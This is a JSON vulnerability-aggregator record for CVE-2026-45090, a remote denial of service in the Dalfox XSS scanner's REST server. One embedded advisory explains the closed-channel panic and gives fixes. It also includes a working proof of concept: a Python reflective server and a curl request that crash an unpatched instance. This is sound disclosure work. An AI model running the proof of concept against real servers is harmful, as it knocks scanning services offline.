{"id":"GHSA-2g4x-fq3j-cgq4","revision":null,"records":[{"revision":"ebb13a1680e34624a343d2944d2b348c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45090","aliases":[],"title":"Dalfox: Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)","description":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != \"\" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0.","state":0,"publishedAt":"2026-05-27T17:33:06.856+00:00","modifiedAt":"2026-05-28T15:11:11.119+00:00","affected":[{"ecosystem":"Vendor product","name":"dalfox","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"hahwul\",\n                    \"product\": \"dalfox\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.13.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4","https://github.com/hahwul/dalfox/releases/tag/v2.13.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45090","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45090","identifiers":["CVE-2026-45090"]},"retained":false,"historicalAffected":[]},{"revision":"881c7e352690428080ae74381fa2e103","observedAt":"2026-11-07T10:33:25.458+00:00","statement":{"source":"euvd","id":"EUVD-2026-32613","aliases":["CVE-2026-45090","GHSA-2g4x-fq3j-cgq4"],"title":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The chann…","description":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != \"\" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4","https://github.com/hahwul/dalfox/releases/tag/v2.13.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32613","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 5:33:06 PM","dateUpdated":"May 28, 2026, 3:11:11 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32613","identifiers":["EUVD-2026-32613","CVE-2026-45090","GHSA-2g4x-fq3j-cgq4"]},"retained":false,"historicalAffected":[]},{"revision":"7714e23dda294bc081bb19306d359ae5","observedAt":"2026-10-27T11:12:23.45+00:00","statement":{"source":"nvd","id":"CVE-2026-45090","aliases":[],"title":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The chann…","description":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != \"\" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0.","state":0,"publishedAt":"2026-05-27T18:16:25.003+00:00","modifiedAt":"2026-10-26T11:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/hahwul/dalfox/releases/tag/v2.13.0","https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45090","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-362","CWE-404"],"productCriteria":[],"sourceDates":{"published":"2026-05-27T18:16:25.003","lastModified":"2026-10-26T11:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45090","identifiers":["CVE-2026-45090"]},"retained":false,"historicalAffected":[]},{"revision":"8c9278a9faa64269b0ad5c186ea55867","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2g4x-fq3j-cgq4","aliases":["CVE-2026-45090","GO-2026-4999"],"title":"Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)","description":"## Summary\n\n`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage — which processes POST-body parameters (`dp`) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results <- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != \"\"` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low — the attacker controls both trigger conditions: the `data` field that populates the second stage's work queue, and the target URL they point at a reflective server they control.\n- **Privileges Required:** None — `--api-key` defaults to `\"\"`, so no auth middleware is registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged — a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.\n- **Confidentiality Impact:** None.\n- **Integrity Impact:** None.\n- **Availability Impact:** High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.\n\n**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` — a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.\n\n## Affected Component\n\n- `pkg/scanning/parameterAnalysis.go` — `ParameterAnalysis()` (lines 436–448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445\n- `pkg/scanning/parameterAnalysis.go` — `processParams()` (line 299): `results <- paramResult` panics when `results` is closed\n\n## CWE\n\n- **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error\n- **CWE-404**: Improper Resource Shutdown or Release\n\n## Description\n\n### Two-Stage Channel Lifecycle Ordering Error\n\n`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:\n\n```go\n// pkg/scanning/parameterAnalysis.go:397-408\nparamsQue := make(chan string, concurrency)\nresults := make(chan model.ParamResult, concurrency)   // ← single channel for both stages\n\ngo func() {\n    for result := range results {   // consumer exits when results is closed\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n```\n\n**First stage** (URL parameters in `p`):\n\n```go\n// lines 410-437\nfor i := 0; i < concurrency; i++ {\n    wgg.Add(1)\n    go func() {\n        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)\n        wgg.Done()\n    }()\n}\n// ... feed paramsQue ...\nclose(paramsQue)\nwgg.Wait()\nclose(results)   // ← line 438: results is now closed; consumer goroutine exits\n```\n\n**Second stage** (POST-body parameters in `dp`):\n\n```go\n// lines 440-448\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nfor j := 0; j < concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n        //                                   ^^^^^^^ — same closed channel\n        wggg.Done()\n    }()\n}\n```\n\nWhen a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:\n\n```go\n// pkg/scanning/parameterAnalysis.go:299\nresults <- paramResult   // panic: send on closed channel\n```\n\nA Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.\n\n### Trigger Conditions Are Both Attacker-Controlled\n\n**Condition 1 — `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` → `setP` whenever `options.Data != \"\"`:\n\n```go\n// parameterAnalysis.go:41-45\nif options.Data != \"\" {\n    if dp.Get(name) == \"\" {\n        dp.Set(name, \"\")\n    }\n}\n```\n\nThe attacker sets `\"data\": \"q=test\"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `\"mining-dict\": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.\n\n**Condition 2 — a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.\n\n### PR #917 Fixed Different Bugs\n\nCommit `8a424d1` addressed:\n1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex → added `charsMu sync.Mutex`\n2. Nil pointer: `resp.Header` accessed when `resp == nil` → added `&& resp != nil` guard\n\nNeither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 — Attacker-controlled reflective server\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def _h(self):\n        qs = parse_qs(urlparse(self.path).query)\n        n = int(self.headers.get('Content-Length', '0'))\n        body = self.rfile.read(n).decode() if n else ''\n        bq = parse_qs(body)\n        v = qs.get('q', [''])[0] or bq.get('q', [''])[0]\n        out = f'<html><body>{v}</body></html>'.encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header('Content-Length', str(len(out)))\n        self.end_headers()\n        self.wfile.write(out)\n    def do_GET(self): self._h()\n    def do_POST(self): self._h()\n    def log_message(self, *a): pass\nHTTPServer(('127.0.0.1', 18083), H).serve_forever()\nPY\n\n# Step 2 — Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 — Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H 'Content-Type: application/json' \\\n  --data '{\n    \"url\": \"http://127.0.0.1:18083/?q=test\",\n    \"options\": {\n      \"data\": \"q=test\",\n      \"mining-dict\": true,\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }'\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n#   pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 — Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request — no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go — replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency)   // fresh channel\n\ngo func() {\n    for result := range results2 {\n        mutex.Lock()\n        params[result.Name] = result\n        mutex.Unlock()\n    }\n}()\n\nfor j := 0; j < concurrency; j++ {\n    wggg.Add(1)\n    go func() {\n        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n        wggg.Done()\n    }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2)   // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n    // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) → wgg.Wait() → close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n    defer func() {\n        if r := recover(); r != nil {\n            printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n        }\n        wggg.Done()\n    }()\n    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","state":0,"publishedAt":"2026-05-12T15:08:40+00:00","modifiedAt":"2026-06-08T20:15:13.7553735+00:00","affected":[{"ecosystem":"Go","name":"github.com/hahwul/dalfox/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.13.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/hahwul/dalfox","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.2.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4","https://nvd.nist.gov/vuln/detail/CVE-2026-45090","https://github.com/hahwul/dalfox","https://github.com/hahwul/dalfox/releases/tag/v2.13.0"],"sourceUrl":"https://github.com/advisories/GHSA-2g4x-fq3j-cgq4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2g4x-fq3j-cgq4","identifiers":["GHSA-2g4x-fq3j-cgq4","CVE-2026-45090","GO-2026-4999"]},"retained":false,"historicalAffected":[]},{"revision":"c97982d2f21048edbb17f08ee4a40554","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4999","aliases":["CVE-2026-45090","GHSA-2g4x-fq3j-cgq4"],"title":"Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode) in github.com/hahwul/dalfox","description":"Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode) in github.com/hahwul/dalfox","state":0,"publishedAt":"2026-05-20T19:07:09+00:00","modifiedAt":"2026-05-20T19:30:12.9845971+00:00","affected":[{"ecosystem":"Go","name":"github.com/hahwul/dalfox","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/hahwul/dalfox/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.13.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4","https://github.com/hahwul/dalfox/releases/tag/v2.13.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4999","license":"OSV · upstream source license applies","key":"osv:GO-2026-4999","identifiers":["GO-2026-4999","CVE-2026-45090","GHSA-2g4x-fq3j-cgq4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6844079+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6844094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-345caf33bb1f4776307263ad25eb81e7ed5e705a56a2cd4eb1cf23a9dfb83a94","complete":true,"records":420935,"lastAttemptAt":"2026-11-07T18:07:21.9958253+00:00","lastSuccessAt":"2026-11-07T18:07:21.9319209+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:21.9958253+00:00","snapshotPublishedAt":"2026-11-07T17:19:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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